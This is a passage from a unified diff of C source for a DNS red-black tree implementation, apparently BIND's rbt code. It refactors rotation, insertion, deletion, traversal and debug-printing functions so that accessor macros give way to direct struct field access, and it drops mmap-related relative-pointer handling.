-			LEFT(PARENT(node)) = child;
+		if (node->parent->left == node) {
+			node->parent->left = child;
 		} else {
-			RIGHT(PARENT(node)) = child;
+			node->parent->right = child;
 		}
 	}
 
-	PARENT(node) = child;
+	node->parent = child;
 }
 
-static inline void
+static void
 rotate_right(dns_rbtnode_t *node, dns_rbtnode_t **rootp) {
 	dns_rbtnode_t *child;
 
 	REQUIRE(DNS_RBTNODE_VALID(node));
 	REQUIRE(rootp != NULL);
 
-	child = LEFT(node);
+	child = node->left;
 	INSIST(child != NULL);
 
-	LEFT(node) = RIGHT(child);
-	if (RIGHT(child) != NULL) {
-		PARENT(RIGHT(child)) = node;
+	node->left = child->right;
+	if (child->right != NULL) {
+		child->right->parent = node;
 	}
-	RIGHT(child) = node;
+	child->right = node;
 
-	PARENT(child) = PARENT(node);
+	child->parent = node->parent;
 
-	if (IS_ROOT(node)) {
+	if (node->is_root) {
 		*rootp = child;
 		child->is_root = 1;
 		node->is_root = 0;
 	} else {
-		if (LEFT(PARENT(node)) == node) {
-			LEFT(PARENT(node)) = child;
+		if (node->parent->left == node) {
+			node->parent->left = child;
 		} else {
-			RIGHT(PARENT(node)) = child;
+			node->parent->right = child;
 		}
 	}
 
-	PARENT(node) = child;
+	node->parent = child;
 }
 
 /*
@@ -2506,8 +1828,8 @@ addonlevel(dns_rbtnode_t *node, dns_rbtnode_t *current, int order,
 	dns_offsets_t add_offsets, current_offsets;
 
 	REQUIRE(rootp != NULL);
-	REQUIRE(DNS_RBTNODE_VALID(node) && LEFT(node) == NULL &&
-		RIGHT(node) == NULL);
+	REQUIRE(DNS_RBTNODE_VALID(node) && node->left == NULL &&
+		node->right == NULL);
 	REQUIRE(current != NULL);
 
 	root = *rootp;
@@ -2515,9 +1837,9 @@ addonlevel(dns_rbtnode_t *node, dns_rbtnode_t *current, int order,
 		/*
 		 * First node of a level.
 		 */
-		MAKE_BLACK(node);
+		node->color = BLACK;
 		node->is_root = 1;
-		PARENT(node) = current;
+		node->parent = current;
 		*rootp = node;
 		return;
 	}
@@ -2526,75 +1848,75 @@ addonlevel(dns_rbtnode_t *node, dns_rbtnode_t *current, int order,
 	POST(child);
 
 	dns_name_init(&add_name, add_offsets);
-	NODENAME(node, &add_name);
+	node_name(node, &add_name);
 
 	dns_name_init(&current_name, current_offsets);
-	NODENAME(current, &current_name);
+	node_name(current, &current_name);
 
 	if (order < 0) {
-		INSIST(LEFT(current) == NULL);
-		LEFT(current) = node;
+		INSIST(current->left == NULL);
+		current->left = node;
 	} else {
-		INSIST(RIGHT(current) == NULL);
-		RIGHT(current) = node;
+		INSIST(current->right == NULL);
+		current->right = node;
 	}
 
-	INSIST(PARENT(node) == NULL);
-	PARENT(node) = current;
+	INSIST(node->parent == NULL);
+	node->parent = current;
 
-	MAKE_RED(node);
+	node->color = RED;
 
-	while (node != root && IS_RED(PARENT(node))) {
+	while (node != root && IS_RED(node->parent)) {
 		/*
 		 * XXXDCL could do away with separate parent and grandparent
 		 * variables.  They are vestiges of the days before parent
 		 * pointers.  However, they make the code a little clearer.
 		 */
 
-		parent = PARENT(node);
-		grandparent = PARENT(parent);
+		parent = node->parent;
+		grandparent = parent->parent;
 
-		if (parent == LEFT(grandparent)) {
-			child = RIGHT(grandparent);
+		if (parent == grandparent->left) {
+			child = grandparent->right;
 			if (child != NULL && IS_RED(child)) {
-				MAKE_BLACK(parent);
-				MAKE_BLACK(child);
-				MAKE_RED(grandparent);
+				parent->color = BLACK;
+				child->color = BLACK;
+				grandparent->color = RED;
 				node = grandparent;
 			} else {
-				if (node == RIGHT(parent)) {
+				if (node == parent->right) {
 					rotate_left(parent, &root);
 					node = parent;
-					parent = PARENT(node);
-					grandparent = PARENT(parent);
+					parent = node->parent;
+					grandparent = parent->parent;
 				}
-				MAKE_BLACK(parent);
-				MAKE_RED(grandparent);
+				parent->color = BLACK;
+				grandparent->color = RED;
 				rotate_right(grandparent, &root);
 			}
 		} else {
-			child = LEFT(grandparent);
+			child = grandparent->left;
 			if (child != NULL && IS_RED(child)) {
-				MAKE_BLACK(parent);
-				MAKE_BLACK(child);
-				MAKE_RED(grandparent);
+				parent->color = BLACK;
+				child->color = BLACK;
+				grandparent->color = RED;
 				node = grandparent;
 			} else {
-				if (node == LEFT(parent)) {
+				if (node == parent->left) {
 					rotate_right(parent, &root);
 					node = parent;
-					parent = PARENT(node);
-					grandparent = PARENT(parent);
+					parent = node->parent;
+					grandparent = parent->parent;
 				}
-				MAKE_BLACK(parent);
-				MAKE_RED(grandparent);
+				parent->color = BLACK;
+				grandparent->color = RED;
 				rotate_left(grandparent, &root);
 			}
 		}
 	}
 
-	MAKE_BLACK(root);
-	ENSURE(IS_ROOT(root));
+	root->color = BLACK;
+	ENSURE(root->is_root);
 	*rootp = root;
 
 	return;
@@ -2614,15 +1936,15 @@ deletefromlevel(dns_rbtnode_t *item, dns_rbtnode_t **rootp) {
 	/*
 	 * Verify that the parent history is (apparently) correct.
 	 */
-	INSIST((IS_ROOT(item) && *rootp == item) ||
-	       (!IS_ROOT(item) &&
-		(LEFT(PARENT(item)) == item || RIGHT(PARENT(item)) == item)));
+	INSIST((item->is_root && *rootp == item) ||
+	       (!item->is_root &&
+		(item->parent->left == item || item->parent->right == item)));
 
 	child = NULL;
 
-	if (LEFT(item) == NULL) {
-		if (RIGHT(item) == NULL) {
-			if (IS_ROOT(item)) {
+	if (item->left == NULL) {
+		if (item->right == NULL) {
+			if (item->is_root) {
 				/*
 				 * This is the only item in the tree.
 				 */
@@ -2633,13 +1955,13 @@ deletefromlevel(dns_rbtnode_t *item, dns_rbtnode_t **rootp) {
 			/*
 			 * This node has one child, on the right.
 			 */
-			child = RIGHT(item);
+			child = item->right;
 		}
-	} else if (RIGHT(item) == NULL) {
+	} else if (item->right == NULL) {
 		/*
 		 * This node has one child, on the left.
 		 */
-		child = LEFT(item);
+		child = item->left;
 	} else {
 		dns_rbtnode_t *saved_parent, *saved_right;
 		int saved_color;
@@ -2650,17 +1972,17 @@ deletefromlevel(dns_rbtnode_t *item, dns_rbtnode_t **rootp) {
 		 * move it to this location, then do the deletion at the
 		 * old site of the successor.
 		 */
-		successor = RIGHT(item);
-		while (LEFT(successor) != NULL) {
-			successor = LEFT(successor);
+		successor = item->right;
+		while (successor->left != NULL) {
+			successor = successor->left;
 		}
 
 		/*
 		 * The successor cannot possibly have a left child;
 		 * if there is any child, it is on the right.
 		 */
-		if (RIGHT(successor) != NULL) {
-			child = RIGHT(successor);
+		if (successor->right != NULL) {
+			child = successor->right;
 		}
 
 		/*
@@ -2678,69 +2000,69 @@ deletefromlevel(dns_rbtnode_t *item, dns_rbtnode_t **rootp) {
 		 * information, which will be needed when linking up
 		 * delete to the successor's old location.
 		 */
-		saved_parent = PARENT(successor);
-		saved_right = RIGHT(successor);
-		saved_color = COLOR(successor);
+		saved_parent = successor->parent;
+		saved_right = successor->right;
+		saved_color = successor->color;
 
-		if (IS_ROOT(item)) {
+		if (item->is_root) {
 			*rootp = successor;
 			successor->is_root = true;
 			item->is_root = false;
-		} else if (LEFT(PARENT(item)) == item) {
-			LEFT(PARENT(item)) = successor;
+		} else if (item->parent->left == item) {
+			item->parent->left = successor;
 		} else {
-			RIGHT(PARENT(item)) = successor;
+			item->parent->right = successor;
 		}
 
-		PARENT(successor) = PARENT(item);
-		LEFT(successor) = LEFT(item);
-		RIGHT(successor) = RIGHT(item);
-		COLOR(successor) = COLOR(item);
+		successor->parent = item->parent;
+		successor->left = item->left;
+		successor->right = item->right;
+		successor->color = item->color;
 
-		if (LEFT(successor) != NULL) {
-			PARENT(LEFT(successor)) = successor;
+		if (successor->left != NULL) {
+			successor->left->parent = successor;
 		}
-		if (RIGHT(successor) != successor) {
-			PARENT(RIGHT(successor)) = successor;
+		if (successor->right != successor) {
+			successor->right->parent = successor;
 		}
 
 		/*
 		 * Now relink the node to be deleted into the
 		 * successor's previous tree location.
 		 */
-		INSIST(!IS_ROOT(item));
+		INSIST(!item->is_root);
 
 		if (saved_parent == item) {
 			/*
 			 * Node being deleted was successor's parent.
 			 */
-			RIGHT(successor) = item;
-			PARENT(item) = successor;
+			successor->right = item;
+			item->parent = successor;
 		} else {
-			LEFT(saved_parent) = item;
-			PARENT(item) = saved_parent;
+			saved_parent->left = item;
+			item->parent = saved_parent;
 		}
 
 		/*
 		 * Original location of successor node has no left.
 		 */
-		LEFT(item) = NULL;
-		RIGHT(item) = saved_right;
-		COLOR(item) = saved_color;
+		item->left = NULL;
+		item->right = saved_right;
+		item->color = saved_color;
 	}
 
 	/*
 	 * Remove the node by removing the links from its parent.
 	 */
-	if (!IS_ROOT(item)) {
-		if (LEFT(PARENT(item)) == item) {
-			LEFT(PARENT(item)) = child;
+	if (!item->is_root) {
+		if (item->parent->left == item) {
+			item->parent->left = child;
 		} else {
-			RIGHT(PARENT(item)) = child;
+			item->parent->right = child;
 		}
 
 		if (child != NULL) {
-			PARENT(child) = PARENT(item);
+			child->parent = item->parent;
 		}
 	} else {
 		/*
@@ -2749,50 +2071,47 @@ deletefromlevel(dns_rbtnode_t *item, dns_rbtnode_t **rootp) {
 		 */
 		*rootp = child;
 		child->is_root = 1;
-		PARENT(child) = PARENT(item);
+		child->parent = item->parent;
 	}
 
 	/*
 	 * Fix color violations.
 	 */
 	if (IS_BLACK(item)) {
-		/* cppcheck-suppress nullPointerRedundantCheck symbolName=item
-		 */
-		parent = PARENT(item);
+		parent = item->parent;
 
 		while (child != *rootp && IS_BLACK(child)) {
-			INSIST(child == NULL || !IS_ROOT(child));
+			INSIST(child == NULL || !child->is_root);
 
-			if (LEFT(parent) == child) {
-				sibling = RIGHT(parent);
+			if (parent->left == child) {
+				sibling = parent->right;
 
 				if (IS_RED(sibling)) {
-					MAKE_BLACK(sibling);
-					MAKE_RED(parent);
+					sibling->color = BLACK;
+					parent->color = RED;
 					rotate_left(parent, rootp);
-					sibling = RIGHT(parent);
+					sibling = parent->right;
 				}
 
 				INSIST(sibling != NULL);
 
-				/* cppcheck-suppress nullPointerRedundantCheck
-				 * symbolName=sibling */
-				if (IS_BLACK(LEFT(sibling)) &&
-				    IS_BLACK(RIGHT(sibling))) {
-					MAKE_RED(sibling);
+				if (IS_BLACK(sibling->left) &&
+				    IS_BLACK(sibling->right))
+				{
+					sibling->color = RED;
 					child = parent;
 				} else {
-					if (IS_BLACK(RIGHT(sibling))) {
-						MAKE_BLACK(LEFT(sibling));
-						MAKE_RED(sibling);
+					if (IS_BLACK(sibling->right)) {
+						sibling->left->color = BLACK;
+						sibling->color = RED;
 						rotate_right(sibling, rootp);
-						sibling = RIGHT(parent);
+						sibling = parent->right;
 					}
 
-					COLOR(sibling) = COLOR(parent);
-					MAKE_BLACK(parent);
-					INSIST(RIGHT(sibling) != NULL);
-					MAKE_BLACK(RIGHT(sibling));
+					sibling->color = parent->color;
+					parent->color = BLACK;
+					INSIST(sibling->right != NULL);
+					sibling->right->color = BLACK;
 					rotate_left(parent, rootp);
 					child = *rootp;
 				}
@@ -2802,45 +2121,44 @@ deletefromlevel(dns_rbtnode_t *item, dns_rbtnode_t **rootp) {
 				 * Everything is done the same as above,
 				 * except mirrored.
 				 */
-				sibling = LEFT(parent);
+				sibling = parent->left;
 
 				if (IS_RED(sibling)) {
-					MAKE_BLACK(sibling);
-					MAKE_RED(parent);
+					sibling->color = BLACK;
+					parent->color = RED;
 					rotate_right(parent, rootp);
-					sibling = LEFT(parent);
+					sibling = parent->left;
 				}
 
 				INSIST(sibling != NULL);
 
-				/* cppcheck-suppress nullPointerRedundantCheck
-				 * symbolName=sibling */
-				if (IS_BLACK(LEFT(sibling)) &&
-				    IS_BLACK(RIGHT(sibling))) {
-					MAKE_RED(sibling);
+				if (IS_BLACK(sibling->left) &&
+				    IS_BLACK(sibling->right))
+				{
+					sibling->color = RED;
 					child = parent;
 				} else {
-					if (IS_BLACK(LEFT(sibling))) {
-						MAKE_BLACK(RIGHT(sibling));
-						MAKE_RED(sibling);
+					if (IS_BLACK(sibling->left)) {
+						sibling->right->color = BLACK;
+						sibling->color = RED;
 						rotate_left(sibling, rootp);
-						sibling = LEFT(parent);
+						sibling = parent->left;
 					}
 
-					COLOR(sibling) = COLOR(parent);
-					MAKE_BLACK(parent);
-					INSIST(LEFT(sibling) != NULL);
-					MAKE_BLACK(LEFT(sibling));
+					sibling->color = parent->color;
+					parent->color = BLACK;
+					INSIST(sibling->left != NULL);
+					sibling->left->color = BLACK;
 					rotate_right(parent, rootp);
 					child = *rootp;
 				}
 			}
 
-			parent = PARENT(child);
+			parent = child->parent;
 		}
 
 		if (IS_RED(child)) {
-			MAKE_BLACK(child);
+			child->color = BLACK;
 		}
 	}
 }
@@ -2850,9 +2168,7 @@ freenode(dns_rbt_t *rbt, dns_rbtnode_t **nodep) {
 	dns_rbtnode_t *node = *nodep;
 	*nodep = NULL;
 
-	if (node->is_mmapped == 0) {
-		isc_mem_put(rbt->mctx, node, NODE_SIZE(node));
-	}
+	isc_mem_put(rbt->mctx, node, NODE_SIZE(node));
 
 	rbt->nodecount--;
 }
@@ -2867,28 +2183,28 @@ deletetreeflat(dns_rbt_t *rbt, unsigned int quantum, bool unhash,
 		 * If there is a left, right or down node, walk into it
 		 * and iterate.
 		 */
-		if (LEFT(root) != NULL) {
+		if (root->left != NULL) {
 			dns_rbtnode_t *node = root;
-			root = LEFT(root);
-			LEFT(node) = NULL;
-		} else if (RIGHT(root) != NULL) {
+			root = root->left;
+			node->left = NULL;
+		} else if (root->right != NULL) {
 			dns_rbtnode_t *node = root;
-			root = RIGHT(root);
-			RIGHT(node) = NULL;
-		} else if (DOWN(root) != NULL) {
+			root = root->right;
+			node->right = NULL;
+		} else if (root->down != NULL) {
 			dns_rbtnode_t *node = root;
-			root = DOWN(root);
-			DOWN(node) = NULL;
+			root = root->down;
+			node->down = NULL;
 		} else {
 			/*
 			 * There are no left, right or down nodes, so we
 			 * can free this one and go back to its parent.
 			 */
 			dns_rbtnode_t *node = root;
-			root = PARENT(root);
+			root = root->parent;
 
-			if (rbt->data_deleter != NULL && DATA(node) != NULL) {
-				rbt->data_deleter(DATA(node), rbt->deleter_arg);
+			if (rbt->data_deleter != NULL && node->data != NULL) {
+				rbt->data_deleter(node->data, rbt->deleter_arg);
 			}
 			if (unhash) {
 				unhash_node(rbt, node);
@@ -2919,11 +2235,11 @@ getheight_helper(dns_rbtnode_t *node) {
 		return (0);
 	}
 
-	dl = getheight_helper(LEFT(node));
-	dr = getheight_helper(RIGHT(node));
+	dl = getheight_helper(node->left);
+	dr = getheight_helper(node->right);
 
 	this_height = ISC_MAX(dl + 1, dr + 1);
-	down_height = getheight_helper(DOWN(node));
+	down_height = getheight_helper(node->down);
 
 	return (ISC_MAX(this_height, down_height));
 }
@@ -2941,27 +2257,26 @@ check_properties_helper(dns_rbtnode_t *node) {
 
 	if (IS_RED(node)) {
 		/* Root nodes must be BLACK. */
-		if (IS_ROOT(node)) {
+		if (node->is_root) {
 			return (false);
 		}
 
 		/* Both children of RED nodes must be BLACK. */
-		if (IS_RED(LEFT(node)) || IS_RED(RIGHT(node))) {
+		if (IS_RED(node->left) || IS_RED(node->right)) {
 			return (false);
 		}
 	}
 
-	/* cppcheck-suppress nullPointerRedundantCheck symbolName=node */
-	if ((DOWN(node) != NULL) && (!IS_ROOT(DOWN(node)))) {
+	if ((node->down != NULL) && (!node->down->is_root)) {
 		return (false);
 	}
 
-	if (IS_ROOT(node)) {
-		if ((PARENT(node) != NULL) && (DOWN(PARENT(node)) != node)) {
+	if (node->is_root) {
+		if ((node->parent != NULL) && (node->parent->down != node)) {
 			return (false);
 		}
 
-		if (get_upper_node(node) != PARENT(node)) {
+		if (get_upper_node(node) != node->parent) {
 			return (false);
 		}
 	}
@@ -2969,15 +2284,16 @@ check_properties_helper(dns_rbtnode_t *node) {
 	/* If node is assigned to the down_ pointer of its parent, it is
 	 * a subtree root and must have the flag set.
 	 */
-	if (((!PARENT(node)) || (DOWN(PARENT(node)) == node)) &&
-	    (!IS_ROOT(node))) {
+	if (((!node->parent) || (node->parent->down == node)) &&
+	    (!node->is_root))
+	{
 		return (false);
 	}
 
 	/* Repeat tests with this node's children. */
-	return (check_properties_helper(LEFT(node)) &&
-		check_properties_helper(RIGHT(node)) &&
-		check_properties_helper(DOWN(node)));
+	return (check_properties_helper(node->left) &&
+		check_properties_helper(node->right) &&
+		check_properties_helper(node->down));
 }
 
 static bool
@@ -2989,18 +2305,15 @@ check_black_distance_helper(dns_rbtnode_t *node, size_t *distance) {
 		return (true);
 	}
 
-	/* cppcheck-suppress nullPointerRedundantCheck symbolName=node */
-	if (!check_black_distance_helper(LEFT(node), &dl)) {
+	if (!check_black_distance_helper(node->left, &dl)) {
 		return (false);
 	}
 
-	/* cppcheck-suppress nullPointerRedundantCheck symbolName=node */
-	if (!check_black_distance_helper(RIGHT(node), &dr)) {
+	if (!check_black_distance_helper(node->right, &dr)) {
 		return (false);
 	}
 
-	/* cppcheck-suppress nullPointerRedundantCheck symbolName=node */
-	if (!check_black_distance_helper(DOWN(node), &dd)) {
+	if (!check_black_distance_helper(node->down, &dd)) {
 		return (false);
 	}
 
@@ -3058,13 +2371,6 @@ dns_rbt_printnodeinfo(dns_rbtnode_t *n, FILE *f) {
 
 	fprintf(f, "n = %p\n", n);
 
-	fprintf(f, "Relative pointers: %s%s%s%s%s\n",
-		(n->parent_is_relative == 1 ? " P" : ""),
-		(n->right_is_relative == 1 ? " R" : ""),
-		(n->left_is_relative == 1 ? " L" : ""),
-		(n->down_is_relative == 1 ? " D" : ""),
-		(n->data_is_relative == 1 ? " T" : ""));
-
 	fprintf(f, "node lock address = %u\n", n->locknum);
 
 	fprintf(f, "Parent: %p\n", n->parent);
@@ -3081,7 +2387,7 @@ printnodename(dns_rbtnode_t *node, bool quoted, FILE *f) {
 	char buffer[DNS_NAME_FORMATSIZE];
 	dns_offsets_t offsets;
 
-	r.length = NAMELEN(node);
+	r.length = node->namelen;
 	r.base = NAME(node);
 
 	dns_name_init(&name, offsets);
@@ -3104,19 +2410,15 @@ print_text_helper(dns_rbtnode_t *root, dns_rbtnode_t *parent, int depth,
 
 	if (root != NULL) {
 		printnodename(root, true, f);
-		/*
-		 * Don't use IS_RED(root) as it tests for 'root != NULL'
-		 * and cppcheck produces false positives.
-		 */
 		fprintf(f, " (%s, %s", direction,
-			COLOR(root) == RED ? "RED" : "BLACK");
+			root->color == RED ? "RED" : "BLACK");
 
-		if ((!IS_ROOT(root) && PARENT(root) != parent) ||
-		    (IS_ROOT(root) && depth > 0 && DOWN(PARENT(root)) != root))
+		if ((!root->is_root && root->parent != parent) ||
+		    (root->is_root && depth > 0 && root->parent->down != root))
 		{
 			fprintf(f, " (BAD parent pointer! -> ");
-			if (PARENT(root) != NULL) {
-				printnodename(PARENT(root), true, f);
+			if (root->parent != NULL) {
+				printnodename(root->parent, true, f);
 			} else {
 				fprintf(f, "NULL");
 			}
@@ -3133,26 +2435,19 @@ print_text_helper(dns_rbtnode_t *root, dns_rbtnode_t *parent, int depth,
 
 		depth++;
 
-		/*
-		 * Don't use IS_RED(root) as it tests for 'root != NULL'
-		 * and cppcheck produces false positives.
-		 */
-		if (COLOR(root) == RED && IS_RED(LEFT(root))) {
+		if (root->color == RED && IS_RED(root->left)) {
 			fprintf(f, "** Red/Red color violation on left\n");
 		}
-		print_text_helper(LEFT(root), root, depth, "left", data_printer,
+		print_text_helper(root->left, root, depth, "left", data_printer,
 				  f);
 
-		/*
-		 * Don't use IS_RED(root) as cppcheck produces false positives.
-		 */
-		if (COLOR(root) == RED && IS_RED(RIGHT(root))) {
+		if (root->color == RED && IS_RED(root->right)) {
 			fprintf(f, "** Red/Red color violation on right\n");
 		}
-		print_text_helper(RIGHT(root), root, depth, "right",
+		print_text_helper(root->right, root, depth, "right",
 				  data_printer, f);
 
-		print_text_helper(DOWN(root), NULL, depth, "down", data_printer,
+		print_text_helper(root->down, NULL, depth, "down", data_printer,
 				  f);
 	} else {
 		fprintf(f, "NULL (%s)\n", direction);
@@ -3176,9 +2471,9 @@ print_dot_helper(dns_rbtnode_t *node, unsigned int *nodecount,
 		return (0);
 	}
 
-	l = print_dot_helper(LEFT(node), nodecount, show_pointers, f);
-	r = print_dot_helper(RIGHT(node), nodecount, show_pointers, f);
-	d = print_dot_helper(DOWN(node), nodecount, show_pointers, f);
+	l = print_dot_helper(node->left, nodecount, show_pointers, f);
+	r = print_dot_helper(node->right, nodecount, show_pointers, f);
+	d = print_dot_helper(node->down, nodecount, show_pointers, f);
 
 	*nodecount += 1;
 
@@ -3187,7 +2482,7 @@ print_dot_helper(dns_rbtnode_t *node, unsigned int *nodecount,
 	fprintf(f, "|<f2>");
 
 	if (show_pointers) {
-		fprintf(f, "|<f3> n=%p|<f4> p=%p", node, PARENT(node));
+		fprintf(f, "|<f3> n=%p|<f4> p=%p", node, node->parent);
 	}
 
 	fprintf(f, "\"] [");
@@ -3201,26 +2496,25 @@ print_dot_helper(dns_rbtnode_t *node, unsigned int *nodecount,
 	/* XXXMUKS: verify that IS_ROOT() indicates subtree root and not
 	 * forest root.
 	 */
-	if (IS_ROOT(node)) {
+	if (node->is_root) {
 		fprintf(f, ",penwidth=3");
 	}
 
-	if (IS_EMPTY(node)) {
+	if (node->data == NULL) {
 		fprintf(f, ",style=filled,fillcolor=lightgrey");
 	}
 
 	fprintf(f, "];\n");
 
-	if (LEFT(node) != NULL) {
+	if (node->left != NULL) {
 		fprintf(f, "\"node%u\":f0 -> \"node%u\":f1;\n", *nodecount, l);
 	}
 
-	if (DOWN(node) != NULL) {
+	if (node->down != NULL) {
 		fprintf(f, "\"node%u\":f1 -> \"node%u\":f1 [penwidth=5];\n",
 			*nodecount, d);
 	}
-
-	if (RIGHT(node) != NULL) {
+	if (node->right != NULL) {
 		fprintf(f, "\"node%u\":f2 -> \"node%u\":f1;\n", *nodecount, r);
 	}
 
@@ -3274,7 +2568,7 @@ dns_rbtnodechain_current(dns_rbtnodechain_t *chain, dns_name_t *name,
 	}
 
 	if (name != NULL) {
-		NODENAME(chain->end, name);
+		node_name(chain->end, name);
 
 		if (chain->level_count == 0) {
 			/*
@@ -3284,11 +2578,12 @@ dns_rbtnodechain_current(dns_rbtnodechain_t *chain, dns_name_t *name,
 			INSIST(dns_name_isabsolute(name));
 
 			/*
-			 * This is cheaper than dns_name_getlabelsequence().
+			 * This is cheaper than
+			 * dns_name_getlabelsequence().
 			 */
 			name->labels--;
 			name->length--;
-			name->attributes &= ~DNS_NAMEATTR_ABSOLUTE;
+			name->attributes.absolute = false;
 		}
 	}
 
@@ -3316,30 +2611,30 @@ dns_rbtnodechain_prev(dns_rbtnodechain_t *chain, dns_name_t *name,
 
 	current = chain->end;
 
-	if (LEFT(current) != NULL) {
+	if (current->left != NULL) {
 		/*
 		 * Moving left one then right as far as possible is the
 		 * previous node, at least for this level.
 		 */
-		current = LEFT(current);
+		current = current->left;
 
-		while (RIGHT(current) != NULL) {
-			current = RIGHT(current);
+		while (current->right != NULL) {
+			current = current->right;
 		}
 
 		predecessor = current;
 	} else {
 		/*
-		 * No left links, so move toward the root.  If at any point on
-		 * the way there the link from parent to child is a right
-		 * link, then the parent is the previous node, at least
-		 * for this level.
+		 * No left links, so move toward the root.  If at any
+		 * point on the way there the link from parent to child
+		 * is a right link, then the parent is the previous
+		 * node, at least for this level.
 		 */
-		while (!IS_ROOT(current)) {
+		while (!current->is_root) {
 			previous = current;
-			current = PARENT(current);
+			current = current->parent;
 
-			if (RIGHT(current) == previous) {
+			if (current->right == previous) {
 				predecessor = current;
 				break;
 			}
@@ -3351,29 +2646,30 @@ dns_rbtnodechain_prev(dns_rbtnodechain_t *chain, dns_name_t *name,
 		 * Found a predecessor node in this level.  It might not
 		 * really be the predecessor, however.
 		 */
-		if (DOWN(predecessor) != NULL) {
+		if (predecessor->down != NULL) {
 			/*
-			 * The predecessor is really down at least one level.
-			 * Go down and as far right as possible, and repeat
-			 * as long as the rightmost node has a down pointer.
+			 * The predecessor is really down at least one
+			 * level. Go down and as far right as possible,
+			 * and repeat as long as the rightmost node has
+			 * a down pointer.
 			 */
 			do {
 				/*
-				 * XXX DCL Need to do something about origins
-				 * here. See whether to go down, and if so
-				 * whether it is truly what Bob calls a
-				 * new origin.
+				 * XXX DCL Need to do something about
+				 * origins here. See whether to go down,
+				 * and if so whether it is truly what
+				 * Bob calls a new origin.
 				 */
 				ADD_LEVEL(chain, predecessor);
-				predecessor = DOWN(predecessor);
+				predecessor = predecessor->down;
 
 				/* XXX DCL duplicated from above; clever
 				 * way to unduplicate? */
 
-				while (RIGHT(predecessor) != NULL) {
-					predecessor = RIGHT(predecessor);
+				while (predecessor->right != NULL) {
+					predecessor = predecessor->right;
 				}
-			} while (DOWN(predecessor) != NULL);
+			} while (predecessor->down != NULL);
 
 			/* XXX DCL probably needs work on the concept */
 			if (origin != NULL) {
@@ -3383,21 +2679,23 @@ dns_rbtnodechain_prev(dns_rbtnodechain_t *chain, dns_name_t *name,
 	} else if (chain->level_count > 0) {
 		/*
 		 * Dang, didn't find a predecessor in this level.
-		 * Got to the root of this level without having traversed
-		 * any right links.  Ascend the tree one level; the
-		 * node that points to this tree is the predecessor.
+		 * Got to the root of this level without having
+		 * traversed any right links.  Ascend the tree one
+		 * level; the node that points to this tree is the
+		 * predecessor.
 		 */
-		INSIST(chain->level_count > 0 && IS_ROOT(current));
+		INSIST(chain->level_count > 0 && current->is_root);
 		predecessor = chain->levels[--chain->level_count];
 
 		/* XXX DCL probably needs work on the concept */
 		/*
-		 * Don't declare an origin change when the new origin is "."
-		 * at the top level tree, because "." is declared as the origin
-		 * for the second level tree.
+		 * Don't declare an origin change when the new origin is
+		 * "." at the top level tree, because "." is declared as
+		 * the origin for the second level tree.
 		 */
 		if (origin != NULL &&
-		    (chain->level_count > 0 || OFFSETLEN(predecessor) > 1)) {
+		    (chain->level_count > 0 || predecessor->offsetlen > 1))
+		{
 			new_origin = true;
 		}
 	}
@@ -3435,21 +2733,21 @@ dns_rbtnodechain_down(dns_rbtnodechain_t *chain, dns_name_t *name,
 
 	current = chain->end;
 
-	if (DOWN(current) != NULL) {
+	if (current->down != NULL) {
 		/*
-		 * Don't declare an origin change when the new origin is "."
-		 * at the second level tree, because "." is already declared
-		 * as the origin for the top level tree.
+		 * Don't declare an origin change when the new origin is
+		 * "." at the second level tree, because "." is already
+		 * declared as the origin for the top level tree.
 		 */
-		if (chain->level_count > 0 || OFFSETLEN(current) > 1) {
+		if (chain->level_count > 0 || current->offsetlen > 1) {
 			new_origin = true;
 		}
 
 		ADD_LEVEL(chain, current);
-		current = DOWN(current);
+		current = current->down;
 
-		while (LEFT(current) != NULL) {
-			current = LEFT(current);
+		while (current->left != NULL) {
+			current = current->left;
 		}
 
 		successor = current;
@@ -3459,16 +2757,16 @@ dns_rbtnodechain_down(dns_rbtnodechain_t *chain, dns_name_t *name,
 		chain->end = successor;
 
 		/*
-		 * It is not necessary to use dns_rbtnodechain_current like
-		 * the other functions because this function will never
-		 * find a node in the topmost level.  This is because the
-		 * root level will never be more than one name, and everything
-		 * in the megatree is a successor to that node, down at
-		 * the second level or below.
+		 * It is not necessary to use dns_rbtnodechain_current
+		 * like the other functions because this function will
+		 * never find a node in the topmost level.  This is
+		 * because the root level will never be more than one
+		 * name, and everything in the megatree is a successor
+		 * to that node, down at the second level or below.
 		 */
 
 		if (name != NULL) {
-			NODENAME(chain->end, name);
+			node_name(chain->end, name);
 		}
 
 		if (new_origin) {
@@ -3500,21 +2798,21 @@ dns_rbtnodechain_nextflat(dns_rbtnodechain_t *chain, dns_name_t *name) {
 
 	current = chain->end;
 
-	if (RIGHT(current) == NULL) {
-		while (!IS_ROOT(current)) {
+	if (current->right == NULL) {
+		while (!current->is_root) {
 			previous = current;
-			current = PARENT(current);
+			current = current->parent;
 
-			if (LEFT(current) == previous) {
+			if (current->left == previous) {
 				successor = current;
 				break;
 			}
 		}
 	} else {
-		current = RIGHT(current);
+		current = current->right;
 
-		while (LEFT(current) != NULL) {
-			current = LEFT(current);
+		while (current->left != NULL) {
+			current = current->left;
 		}
 
 		successor = current;
@@ -3524,7 +2822,7 @@ dns_rbtnodechain_nextflat(dns_rbtnodechain_t *chain, dns_name_t *name) {
 		chain->end = successor;
 
 		if (name != NULL) {
-			NODENAME(chain->end, name);
+			node_name(chain->end, name);
 		}
 
 		result = ISC_R_SUCCESS;
@@ -3549,44 +2847,45 @@ dns_rbtnodechain_next(dns_rbtnodechain_t *chain, dns_name_t *name,
 	current = chain->end;
 
 	/*
-	 * If there is a level below this node, the next node is the leftmost
-	 * node of the next level.
+	 * If there is a level below this node, the next node is the
+	 * leftmost node of the next level.
 	 */
-	if (DOWN(current) != NULL) {
+	if (current->down != NULL) {
 		/*
-		 * Don't declare an origin change when the new origin is "."
-		 * at the second level tree, because "." is already declared
-		 * as the origin for the top level tree.
+		 * Don't declare an origin change when the new origin is
+		 * "." at the second level tree, because "." is already
+		 * declared as the origin for the top level tree.
 		 */
-		if (chain->level_count > 0 || OFFSETLEN(current) > 1) {
+		if (chain->level_count > 0 || current->offsetlen > 1) {
 			new_origin = true;
 		}
 
 		ADD_LEVEL(chain, current);
-		current = DOWN(current);
+		current = current->down;
 
-		while (LEFT(current) != NULL) {
-			current = LEFT(current);
+		while (current->left != NULL) {
+			current = current->left;
 		}
 
 		successor = current;
-	} else if (RIGHT(current) == NULL) {
+	} else if (current->right == NULL) {
 		/*
-		 * The successor is up, either in this level or a previous one.
-		 * Head back toward the root of the tree, looking for any path
-		 * that was via a left link; the successor is the node that has
-		 * that left link.  In the event the root of the level is
-		 * reached without having traversed any left links, ascend one
-		 * level and look for either a right link off the point of
